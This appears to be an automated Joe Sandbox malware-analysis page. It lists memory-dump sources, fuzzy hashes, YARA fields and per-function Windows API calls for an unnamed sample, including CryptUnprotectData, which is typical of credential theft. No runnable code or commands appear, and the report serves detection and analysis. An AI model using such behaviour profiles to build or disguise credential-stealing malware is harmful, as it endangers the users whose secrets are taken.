Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 28782000c955892bf6cae6a2a13f734c4fb86f7b166ca9d1d1c436a700a90a5e
Instruction ID: 95de1232023111142a99b249e16509b9fce0f1d2a6f817128bc6c96078243a7c
Opcode Fuzzy Hash: 28782000c955892bf6cae6a2a13f734c4fb86f7b166ca9d1d1c436a700a90a5e
Instruction Fuzzy Hash: 26111C70600208BFDF01CF64E884FA737A9AF8A304F109448F9158B250DB35EC41DB60

Function 00397A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00E3E1B8,00000000,?,003A0E10,00000000,?,00000000,00000000), ref: 00397A63
RtlAllocateHeap.NTDLL(00000000), ref: 00397A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00E3E1B8,00000000,?,003A0E10,00000000,?,00000000,00000000,?), ref: 00397A7D
wsprintfA.USER32 ref: 00397AB7

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 89501a6fe3dcf545b4c65dae5128088ead61aceac9a78bd9397fd9336add23bd
Instruction ID: 24ebf55b201d9c54e250cf6f79f54dca383ea3183c293e86d384924b73eb982f
Opcode Fuzzy Hash: 89501a6fe3dcf545b4c65dae5128088ead61aceac9a78bd9397fd9336add23bd
Instruction Fuzzy Hash: EF118EB1D45618EFEB208B54DC49FA9BB78FB04721F10439AE91A932C0C7745E44CF51

Function 00741EC7 Relevance: 5.4, Strings: 3, Instructions: 1679COMMON

Download Yara Rule

Strings

JN}, xrefs: 007422E4
&9Vg, xrefs: 00742B91
`mE, xrefs: 00742178

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &9Vg$JN}$`mE
API String ID: 0-369595573
Opcode ID: 4556edee443867132f72691a74c141043b8330dbf8c4a7389d56e03b822164a6
Instruction ID: 35d089e82b673bc10a14fb0aca3e1701260271972364b590f345ab5b6b295bca
Opcode Fuzzy Hash: 4556edee443867132f72691a74c141043b8330dbf8c4a7389d56e03b822164a6
Instruction Fuzzy Hash: DDB238F360C204AFE7086E2DEC8567AFBE9EBD8320F16493DE6C5C3744EA3558058656

Function 00393720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0039E118,00000000,00000001,0039E108,00000000), ref: 00393758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 003937B0

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: d4348127cc47563869fe6cf71ad2f40016a7bd3c94fb5c082f79461778444da6
Instruction ID: e9723b560ee478019b359f7695e6412e3af28f0376ee3451d56600f8b2bc00e5
Opcode Fuzzy Hash: d4348127cc47563869fe6cf71ad2f40016a7bd3c94fb5c082f79461778444da6
Instruction Fuzzy Hash: E541E770A40A28AFDB24DB58CC95F9BB7B5BB48702F5041D8E609EB290D7716E85CF50

Function 00389B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00389B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00389BA3
LocalFree.KERNEL32(?), ref: 00389BD3

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: e7df42d24df433a9ab79aa4e5b1a521a408c6863c685ef196eef5534abe3e1e5
Instruction ID: febfa887247d766ec64c582be152a55bdfbe5f27ae0eec13de39231accb3b954
Opcode Fuzzy Hash: e7df42d24df433a9ab79aa4e5b1a521a408c6863c685ef196eef5534abe3e1e5
Instruction Fuzzy Hash: EB11FAB4A00209DFDB05DFA4D985EAE77B5FF88304F104599E81597350D774AE14CFA1

Function 0063FFA5 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

+h`%, xrefs: 00640157

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +h`%
API String ID: 0-1045090907
Opcode ID: cd94008da60ee404929040c323441149d7174d1709696b02f0453d8905eb4bca
Instruction ID: 9b55dbab138e7b67b5a9a0e4144f88f5e1b5e8292ad3d5b265f497c71b075a06
Opcode Fuzzy Hash: cd94008da60ee404929040c323441149d7174d1709696b02f0453d8905eb4bca
Instruction Fuzzy Hash: ED5104B39086189FE3057E29EC8576ABBE5EF94310F06493DDAC4C7340EA769844C7D6

Function 0067AF0B Relevance: 1.4, Strings: 1, Instructions: 187COMMON

Download Yara Rule

Strings

rU{, xrefs: 0067AFED

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: rU{
API String ID: 0-2083634413
Opcode ID: 4069d75e7cb5dfaa9f20a79b276fb4fc0b4489413e45f802164e24f51c9f7366
Instruction ID: ba621a14214173b0baf1225d6e7b82216f722f0f1df0226731882d5f7a8767b3
Opcode Fuzzy Hash: 4069d75e7cb5dfaa9f20a79b276fb4fc0b4489413e45f802164e24f51c9f7366
Instruction Fuzzy Hash: B751E5F36082049FE3186E58EC9677AF7DAEF98720F1A443DE7C5C7780E97568008696

Function 0067C9BC Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

{|+<, xrefs: 0067CAFF

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: {|+<
API String ID: 0-2576279643
Opcode ID: bc3136f7a72e00d433deab4bdfc17cb2e08b2e82cc9a19ad21b0df7404a0940c
Instruction ID: 0042ce8d170d9a45a702f8fc49c0502d884ac8f530c91e906c10a3bc9d2345a3
Opcode Fuzzy Hash: bc3136f7a72e00d433deab4bdfc17cb2e08b2e82cc9a19ad21b0df7404a0940c
Instruction Fuzzy Hash: 0C4127F3E052245FE350696DDC847A7B6CADBD4730F2B4639DA88E7780E8399C0642D6

Function 0082E54B Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

%7, xrefs: 0082E61E

Memory Dump Source

Source File: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %7
API String ID: 0-2914357168
Opcode ID: 3e7a32ec2fc7ed5e6df6d5b6c3f974b7620be93d49cba828187f946697947d7b
Instruction ID: 434fddeb735c8aeda9558fa4fc350dfc3a40d5f1f3a0dbc317e19680ba9badc9
Opcode Fuzzy Hash: 3e7a32ec2fc7ed5e6df6d5b6c3f974b7620be93d49cba828187f946697947d7b
Instruction Fuzzy Hash: 6A51C3F291C618DFD3056E29E94527AB7E5FBA8304F26482DD5C6D7600F631A880DB8B

Function 006F4D7C Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5ce4b18a5989bb550eb4944369bc6570416259208a9c836d040e20fc5f37a98
Instruction ID: e078a85c224aa0b000d68ec933bc6275daf76b428959925706a928775c4c27a0
Opcode Fuzzy Hash: f5ce4b18a5989bb550eb4944369bc6570416259208a9c836d040e20fc5f37a98
Instruction Fuzzy Hash: 295181B36182009FE3086E69DC55B7EF7E9EF98320F1B092EE6C5C3740EA7558418656

Function 0069FE5B Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a558f2ef2a4e86a352ff5fd02b2452e08d1ddc6cefbe0c3119e5024ebfb90a05
Instruction ID: b3983dec022655d70a965522a51d680e2cdb6d50ad9b06357fc2307343add99b
Opcode Fuzzy Hash: a558f2ef2a4e86a352ff5fd02b2452e08d1ddc6cefbe0c3119e5024ebfb90a05
Instruction Fuzzy Hash: 9A41E1F3A082044BF3586E28EC8673AB7D2EBD8310F1B863DDBC5876C4D93958558646

Function 008138FB Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2d76d7a3c6ed611e8f9e7f35074a357369e499c8d9f1f347aba3931a0cc207d
Instruction ID: 28385804a2d8546d40bee456a2635aa1592172e9ecd185dedf09215dcbd12dd8
Opcode Fuzzy Hash: f2d76d7a3c6ed611e8f9e7f35074a357369e499c8d9f1f347aba3931a0cc207d
Instruction Fuzzy Hash: 19310FB241C7089BE315BF28D88666AFBF0FF18710F06082DE6D582610E7395594CB97

Function 007C3892 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21471af7597cdbac20b832b030e940f02cc14cd5be20e817dc4f56631d426da3
Instruction ID: b097a16cd6b7626380d5341592b0284d2934699109ef9c3c88a87231647769a4
Opcode Fuzzy Hash: 21471af7597cdbac20b832b030e940f02cc14cd5be20e817dc4f56631d426da3
Instruction Fuzzy Hash: 3E2105B240C704EFD759BF29D8866AAFBE4EF58710F02482DE6D583650EB31A450CB87

Function 00399750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
